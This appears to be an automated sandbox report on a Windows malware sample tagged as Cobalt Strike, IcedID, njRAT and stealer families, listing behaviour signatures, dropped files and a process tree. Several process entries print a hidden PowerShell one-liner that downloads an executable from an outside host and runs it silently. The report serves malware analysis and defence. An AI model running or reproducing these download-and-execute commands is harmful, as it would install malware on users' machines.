Analysis

  • max time kernel
    150s
  • max time network
    114s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/10/2026, 00:05

General

  • Target
    2026-10-25_72d22a868a547957166a5cd1dc90d188_cobalt-strike_icedid_njrat_satacom_stealc.exe
  • Size 2.8MB
  • Sample261027-adjccsas9j
  • SHA256 1bb0b4d5d933222a7a4163fdf0854f4605983e6ca08933e34ba015f870b77928
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 2 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-25_72d22a868a547957166a5cd1dc90d188_cobalt-strike_icedid_njrat_satacom_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-25_72d22a868a547957166a5cd1dc90d188_cobalt-strike_icedid_njrat_satacom_stealc.exe"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1648
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK378293.exe; Start-Process -FilePath $env:TEMP\BK378293.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5972
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK378293.exe; Start-Process -FilePath $env:TEMP\BK378293.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:984
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=yQbDrnzZVH6cCtokqOPRE001.txt' -OutFile $env:TEMP\BK378293.exe; Start-Process -FilePath $env:TEMP\BK378293.exe -WindowStyle Hidden }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1584
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK761492.exe; Start-Process -FilePath $env:TEMP\BK761492.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4324
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK761492.exe; Start-Process -FilePath $env:TEMP\BK761492.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4572
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK761492.exe; Start-Process -FilePath $env:TEMP\BK761492.exe -WindowStyle Hidden }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1268

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 41c59a73d29fe9a72437c323e3c89bda71c6987848a20016af52c6e2a57b4ba8
        • MD5 SHA1 SHA512 TLSH

        WinDivert.dll

        • Path C:\Users\Admin\AppData\Local\Temp\WinDivert.dll
        • Size 46KB
        • SHA256 c1e060ee19444a259b2162f8af0f3fe8c4428a1c6f694dce20de194ac8d7d9a2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        WinDivert64.sys

        • Path C:\Users\Admin\AppData\Local\Temp\WinDivert64.sys
        • Size 91KB
        • SHA256 8da085332782708d8767bcace5327a6ec7283c17cfb85e40b03cd2323a90ddc2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_xwf2ptc5.buf.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xwf2ptc5.buf.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1584-26-0x00007FFFFF640000-0x00007FFFFFFE4000-memory.dmp

        memory/1584-35-0x00007FFFFF640000-0x00007FFFFFFE4000-memory.dmp

        memory/1584-22-0x00007FFFFF640000-0x00007FFFFFFE4000-memory.dmp

        memory/1584-23-0x00007FFFFF640000-0x00007FFFFFFE4000-memory.dmp

        memory/1584-24-0x00007FFFFF640000-0x00007FFFFFFE4000-memory.dmp

        memory/1584-25-0x00007FFFFF640000-0x00007FFFFFFE4000-memory.dmp

        memory/1584-0-0x00007FFFFF7CF000-0x00007FFFFF7D0000-memory.dmp

        memory/1584-32-0x00007FFFFF640000-0x00007FFFFFFE4000-memory.dmp

        memory/1584-33-0x00007FFFFF640000-0x00007FFFFFFE4000-memory.dmp

        memory/1584-20-0x0000024FB20F0000-0x0000024FB2112000-memory.dmp

        memory/1584-36-0x00007FFFFF640000-0x00007FFFFFFE4000-memory.dmp

        memory/1584-37-0x00007FFFFF640000-0x00007FFFFFFE4000-memory.dmp

        memory/1584-38-0x00007FFFFF640000-0x00007FFFFFFE4000-memory.dmp

        memory/1584-39-0x00007FFFFF640000-0x00007FFFFFFE4000-memory.dmp

        memory/1584-40-0x00007FFFFF640000-0x00007FFFFFFE4000-memory.dmp

        memory/1584-42-0x00007FFFFF640000-0x00007FFFFFFE4000-memory.dmp

        memory/1584-12-0x00007FFFFF640000-0x00007FFFFFFE4000-memory.dmp